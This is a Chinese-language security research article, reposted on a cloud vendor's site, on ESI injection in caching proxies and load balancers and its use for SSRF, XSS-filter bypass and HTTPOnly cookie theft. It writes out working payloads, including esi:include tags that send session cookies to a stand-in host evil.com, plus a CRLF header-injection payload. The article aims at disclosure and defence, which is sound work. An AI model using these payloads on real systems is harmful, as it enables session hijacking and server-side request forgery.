溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》
您好，登錄后才能下訂單哦！
這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)ESI注入中如何利用緩存服務(wù)形成的SSRF和其它客戶端形式滲透，文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。
Edge Side Includes (ESI)標(biāo)記語言主要用于各種流行的HTTP代理中（如反向代理、負(fù)載均衡、緩存服務(wù)器、代理服務(wù)器）解決網(wǎng)頁緩存問題。早前我們在進(jìn)行安全評估時發(fā)現(xiàn)了Edge Side Includes (ESI) 的一個異常行為，經(jīng)測試后發(fā)現(xiàn)，對ESI的成功利用可形成SSRF、繞過HTTPOnly cookie標(biāo)記的XSS攻擊和服務(wù)端的拒絕服務(wù)攻擊，我們把ESI的這種利用技術(shù)稱為 ESI 注入（ESI Injection）。
通過驗證，我們發(fā)現(xiàn)十多種支持ESI的應(yīng)用，如Varnish，Squid Proxy，IBM WebSphere，Oracle Fusion / WebLogic，Akamai，F(xiàn)astly，F(xiàn)5，Node.js ESI，LiteSpeed等其它一些特定的語言插件，這些應(yīng)用或插件如果啟用ESI功能之后，就會存在ESI注入漏洞風(fēng)險。
ESI標(biāo)記語言主要基于一個XML標(biāo)簽集，被用在很多流行的HTTP代理中來解決高負(fù)荷的網(wǎng)頁緩存問題，ESI標(biāo)簽用于指引反向代理（或緩存服務(wù)器）獲取緩存中待取的網(wǎng)頁內(nèi)容信息，在客戶端發(fā)起請求之前，這些內(nèi)容信息也有可能來自其它服務(wù)器中，而且這些緩存頁面中還包含了動態(tài)內(nèi)容。
ESI使用簡單的標(biāo)記語言來對網(wǎng)頁中可以加速和不能加速的內(nèi)容片斷進(jìn)行描述，最終每個網(wǎng)頁都可被劃分成不同片段部分，并賦予了不同的緩存控制策略，使緩存服務(wù)器可以根據(jù)緩存策略，在將完整的網(wǎng)頁發(fā)送給用戶之前能將不同的片段部分動態(tài)地組合在一起。通過這種控制方式，可以有效地減少從服務(wù)器抓取整個頁面的次數(shù)，而只用從原服務(wù)器中提取少量的不能緩存的片斷，因此可以有效降低服務(wù)器的負(fù)載，同時提高用戶訪問的響應(yīng)時間。ESI多在緩存服務(wù)器或代理服務(wù)器上執(zhí)行。
ESI技術(shù)的一個常見用例是處理包含動態(tài)內(nèi)容的靜態(tài)頁面，開發(fā)者可使用ESI標(biāo)簽替換頁面中的動態(tài)部分來增加緩存的靈活性，因此，當(dāng)頁面被請求時，ESI標(biāo)簽就會代理被獲取處理，確保了后端應(yīng)用服務(wù)器的性能。
下圖天氣預(yù)報頁面就是ESI技術(shù)的一個典型用例，天氣預(yù)報網(wǎng)站緩存了一個城市的天氣頁面內(nèi)容，其中的動態(tài)數(shù)據(jù)會被各自的ESI標(biāo)簽替換并指向一個API服務(wù)端URL，緩存和動態(tài)內(nèi)容共同構(gòu)成了實時的天氣狀況：
ESI語法非常簡單，上面這個天氣預(yù)報示例的HTML文件是這樣形式的：
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
最早的ESI規(guī)范可追溯到2001年，那時ESI應(yīng)用到每種程序中的定義都各自不同，每種產(chǎn)品中的功能也各有特色，有些還存在功能缺失?？梢詤⒖荚嫉腅SI規(guī)范定義，它描述了標(biāo)記語言的各種功能應(yīng)用，而很多應(yīng)用廠商后來在其中增加了更多的功能。
在上游服務(wù)器響應(yīng)的和惡意攻擊者注入HTTP的ESI標(biāo)簽之間，HTTP代理是不能區(qū)分合法ESI標(biāo)簽的，也就是說，如果攻擊者能成功把ESI標(biāo)簽注入到HTTP響應(yīng)內(nèi)容中后，代理就會通過評估解析，認(rèn)為它們是來自上游服務(wù)器響應(yīng)的合法ESI標(biāo)簽。
ESI解析器在處理ESI標(biāo)簽時，小于號<和>大于號之間的字符不會被編碼或轉(zhuǎn)義，如今，Web應(yīng)用服務(wù)器會轉(zhuǎn)義一些用戶輸入的特殊字符以防止XSS攻擊，雖然這樣能有效阻止代理解析后返回的ESI標(biāo)簽語義，但有時候ESI標(biāo)簽可以注入到非HTML形式的HTTP響應(yīng)內(nèi)容中去。
實際上，現(xiàn)在ESI的新功能能使開發(fā)者將動態(tài)內(nèi)容添加到其它緩存或靜態(tài)數(shù)據(jù)源中，如JSON對象和CSV對象等。ESI+JSON對象的處理方式，可參考此處文章，其中演示了JSON對象中的ESI解析器通過配置處理ESI標(biāo)簽的過程。
由于現(xiàn)在的應(yīng)用框架都會把轉(zhuǎn)義過程語境化，API服務(wù)端在JSON屬性中包含HTML形式的字符串并不少見，因為這些信息不會被瀏覽器當(dāng)做HTML解析。然而，這也使得攻擊者可以用信息傳輸過程中代理能解析的ESI標(biāo)簽去注入到JSON響應(yīng)的輸入中，形成毒化。
上述場景比較少見，大多數(shù)的攻擊途徑是是后端服務(wù)器會解析ESI標(biāo)簽，然后通過啟用了ESI的負(fù)載均衡或者代理進(jìn)行處理。顯然，如果用戶的輸入要經(jīng)過過濾審查，那么就可以有效緩解XSS攻擊，且ESI標(biāo)簽也會被編碼且不會被代理處理解析。
無疑，最常見也是最有用的功能可能要數(shù)includes標(biāo)簽了，能被代理或者負(fù)載均衡處理解析ESI include標(biāo)簽可執(zhí)行HTTP請求獲取動態(tài)內(nèi)容。如果攻擊者在HTTP響應(yīng)中添加進(jìn)入一個ESI標(biāo)簽，這種組合形式就能導(dǎo)致代理服務(wù)器環(huán)境（不是應(yīng)用服務(wù)器）中的SSRF攻擊。
如以下的Payload可在HTTP代理中實現(xiàn)SSRF攻擊：
<esi:include src="http://evil.com/ping/" />
如果能得到一個HTTP回調(diào)，則代理服務(wù)器就可能存在ESI注入漏洞。ESI的實現(xiàn)各不相同，有些支持ESI的服務(wù)器不允許未經(jīng)白名單策略過濾的主機(jī)中產(chǎn)生的includes標(biāo)簽，這就意識著只能對一臺服務(wù)器執(zhí)行SSRF攻擊，這個知識會在下文的‘實現(xiàn)方式差異’部份進(jìn)行討論?，F(xiàn)在，我們先來看看用ESI標(biāo)簽來實現(xiàn)SSRF攻擊的流程：
1 攻擊者利用ESI payload通過中間的代理服務(wù)器向后端服務(wù)器發(fā)起請求，并試圖讓后端服務(wù)器對該payload有所響應(yīng)；
2 代理服務(wù)器接收到請求后轉(zhuǎn)發(fā)給適合的后端服務(wù)器；
3 適合的后端應(yīng)用服務(wù)器對ESI payload有所響應(yīng)，并將響應(yīng)返回給代理服務(wù)器；
4 代理服務(wù)器收到ESI payload的響應(yīng)后，確定是否存在ESI標(biāo)簽，代理服務(wù)器解析存在的ESI標(biāo)簽，并執(zhí)行對惡意服務(wù)器evil.com的請求
5 代理服務(wù)器接收到來自惡意服務(wù)器evil.com的請求，并把它添加到后端服務(wù)器的初始響應(yīng)中；
6 代理服務(wù)器把完整響應(yīng)內(nèi)容返回給客戶端。
客戶端XSS過濾機(jī)制一般通過請求輸入和響應(yīng)輸出的比較來運(yùn)行，當(dāng)某些GET參數(shù)在HTTP響應(yīng)中出現(xiàn)時，瀏覽器會啟動安全過濾措施來識別是否存在XSS payload 攻擊，如果瀏覽器識別到payload為HTML為Javascript，那么這種攻擊就會被阻止。
然而，由于Chrome瀏覽器的XSS防護(hù)機(jī)制不會識別ESI標(biāo)簽，因此ESI標(biāo)簽根本不可能在客戶端被處理執(zhí)行。在經(jīng)過一些ESI技巧處理之后，能把一些XSS payload分配到ESI引擎的變量中，然后就能把它們返回顯示。
在發(fā)往瀏覽器之前，ESI引擎會在服務(wù)器端創(chuàng)建惡意的Javascript payload，通過這種構(gòu)造方式，由于發(fā)往服務(wù)端的輸入不會向發(fā)往瀏覽器那樣返回響應(yīng)，所以能繞過XSS過濾機(jī)制，以下就是類似的一段payload：
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
<esi:assign> 運(yùn)算符指定一個任意值儲存在服務(wù)器端的ESI變量中，該變量可通過$(variable_name)操作符被獲取，在前述的例子中，var1 用來儲存‘cript’值，通過組合調(diào)用，該值最終會變?yōu)橛行У囊粋€HTML標(biāo)簽<script>被解析，最終可顯示響應(yīng)的payload則是這樣的：
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
某些ESI實現(xiàn)不支持ESI變量，當(dāng)然也就無法用這種方式來利用，當(dāng)includes標(biāo)簽可用時，則可以把includes標(biāo)簽指向一個包含有XSS payload的外部域，如下即為一個典型的利用ESI includes標(biāo)簽從SSRF過渡到XSS攻擊的示例：
poc.html:
<script>alert(1)</script>
然后，向頁面的ESI includes中注入ESI 標(biāo)簽：
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
按照設(shè)計，如代理和負(fù)載均衡器的HTTP代理能訪問到完整的HTTP請求和響應(yīng)，這其中包括瀏覽器或服務(wù)器發(fā)送的所有cookie，ESI規(guī)范中的一個有用功能就是定義了能訪問ESI標(biāo)簽內(nèi)傳輸?shù)腸ookie，這也就使得開發(fā)者能在ESI引擎中引用cookie，這種具備狀態(tài)性的cookie信息會帶來更多的靈活性。
然而，這種功能也產(chǎn)生了一個重要的攻擊向量：cookie exfiltration（cookie 滲漏），現(xiàn)有針對cookie竊取的一個對策是在Javascript引擎下使用HTTPOnly標(biāo)記，這種標(biāo)記在cookie創(chuàng)建時被定義，會阻斷Javascript引擎對cookie和其變量值的訪問獲取，防止cookie竊取形式的XSS攻擊。由于ESI是在服務(wù)器端被處理，當(dāng)上游服務(wù)器向代理服務(wù)器傳輸cookie時，可以利用這些cookie。一種攻擊途徑就是使用ESI includes標(biāo)簽對URL中的cookie進(jìn)行竊取或滲漏。例如以下payload正在被ESI運(yùn)行處理：
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
在攻擊者控制的惡意服務(wù)器 evil.com的HTTP日志中，攻擊者可以看到如下信息：
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
通過這種不用Javascript參與的方式，HTTPOnly cookie就能被竊取或滲漏。
之前提過，ESI的實現(xiàn)在不同的應(yīng)用產(chǎn)品中存在差異，同種方式的同種功能可能在其它產(chǎn)品中則不能實現(xiàn)，以下是經(jīng)我們測試的，存在可利用ESI發(fā)起攻擊的一些軟件產(chǎn)品效果：
表格中的各屬性如下：
Includes：該列描述了ESI 引擎對<esi:includes>操作的實現(xiàn)情況
Vars：該列描述了ESI 引擎對<esi:vars>操作的實現(xiàn)情況
Cookie：該列描述了ESI 引擎對cookie的訪問情況
Upstream Headers Required：該列描述了ESI 引擎是否需要上游服務(wù)器標(biāo)記頭，除非標(biāo)記頭是由上游服務(wù)器提供，否則代理服務(wù)器是不會處理ESI聲明語句的。
Host Whitelist：該列描述了ESI includes標(biāo)記是否只適用于實行白名單策略的服務(wù)器端主機(jī)，如果該項為真，則ESI includes
以下部份是關(guān)于一些廠商軟件產(chǎn)品功能和ESI注入實現(xiàn)的實際用例：
如我們發(fā)現(xiàn)的與Squid3相關(guān)的CVE-2018-1000024 和 CVE-2018-1000027，在Squid3環(huán)境下，可以利用以下payload對cookie進(jìn)行竊取滲漏：
<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>.
攻擊者可在一些JSON API 或圖片的傳輸交換中注入ESI標(biāo)簽，例如在資料簡介的圖片上傳功能中添加進(jìn)ESI標(biāo)簽，服務(wù)器端解析之后就返回響應(yīng)，形成ESI注入。
另外，攻擊者可利用X-Forwarded-For 和 JunkHeader兩個HTTP標(biāo)記頭，用以下ESI payload形成SSRF攻擊：
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
發(fā)出的ESI includes標(biāo)記請求如下：
GET / HTTP/1.1
User-Agent: curl/7.57.0
Accept: */*
Host: anything.com
X-Forwarded-For: 127.0.0.1
JunkHeader: JunkValue
X-Forwarded-For: 209.44.103.130
X-Varnish: 120
另外，我們還在Akamai ESI Test Server 、Fastly、NodeJS’ ESI、NodeJS’ nodesi等多種產(chǎn)品和應(yīng)用中成功實現(xiàn)了ESI注入攻擊的漏洞測試。
一些代理產(chǎn)品會在Surrogate-Control HTTP header標(biāo)記頭中加入ESI處理機(jī)制以實現(xiàn)驗證識別，該標(biāo)記頭可用于告知上游服務(wù)器ESI標(biāo)簽在響應(yīng)內(nèi)容中的存在情況，以備進(jìn)行一些相應(yīng)的解析操作。如果你發(fā)現(xiàn)一個像這種的HTTP標(biāo)記頭響應(yīng)內(nèi)容：Surrogate-Control: content="ESI/1.0”，那說明處理流程中可能存在啟用ESI的架構(gòu)。
但是，大多數(shù)代理和負(fù)載均衡器在把響應(yīng)發(fā)送到客戶端之前，都會移除掉header標(biāo)記頭，有些代理也甚至不需要Surrogate-Control headers標(biāo)記頭。因此，這種ESI判斷方式也不全適用。鑒于ESI 實現(xiàn)的功能選擇較為廣泛，目前還沒有一種技術(shù)可以用來檢測發(fā)現(xiàn)ESI注入。唯一較為全面的方法可能就是通過對各種ESI payload進(jìn)行測試，總結(jié)出其中的各種威脅特征，以此來識別ESI注入。例如，ESI includes可用來對攻擊者控制的服務(wù)器執(zhí)行SSRF，但是有些環(huán)境下的實現(xiàn)卻需要是白名單主機(jī)才行。
本質(zhì)上來說，ESI是一個過時的規(guī)范定義，但出乎意料的是，它竟然還被廣泛用于一些流行的緩存系統(tǒng)中用來實現(xiàn)某些特定功能，雖然我們分析的一些產(chǎn)品中，大部分ESI功能都是默認(rèn)禁用的，但還是存在一些ESI直接可用的產(chǎn)品應(yīng)用，如IBM WebSphere、Squid3、Oracle Fusion/WebLogic、F5以及LiteSpeed。
ESI注入對用戶輸入審查不當(dāng)?shù)暮蠊?dāng)具備ESI功能的代理去解析未經(jīng)過濾的用戶輸入時，就會產(chǎn)生ESI注入攻擊。通常來說，針對一些XSS的防護(hù)措施或框架都能有效對ESI注入有所防御，但實際來說，主要原因還在于ESI規(guī)范中對安全性的考慮不足。
如前所述，可以通過將ESI includes可利用的域或主機(jī)列入白名單來部分緩解這種安全威脅，而且，作為軟件供應(yīng)商，也至少應(yīng)該明確警告用戶啟用ESI功能可能會帶來的風(fēng)險。
我們通過ESI功能在緩存服務(wù)和開源應(yīng)用中的漏洞利用，測試演示了一種之前從未公開過的攻擊途徑，最終實現(xiàn)了Cookie滲漏、SSRF和客戶端XSS過濾繞過，在此過程中，我們也對這種漏洞利用技術(shù)的條件和Payload進(jìn)行了解釋說明，希望這種思路能對漏洞挖掘者有所幫助，同時也借此引起安全社區(qū)和產(chǎn)品供應(yīng)商對ESI功能的重視。
上述就是小編為大家分享的ESI注入中如何利用緩存服務(wù)形成的SSRF和其它客戶端形式滲透了，如果剛好有類似的疑惑，不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識，歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進(jìn)行舉報，并提供相關(guān)證據(jù)，一經(jīng)查實，將立刻刪除涉嫌侵權(quán)內(nèi)容。
億速云公眾號
手機(jī)網(wǎng)站二維碼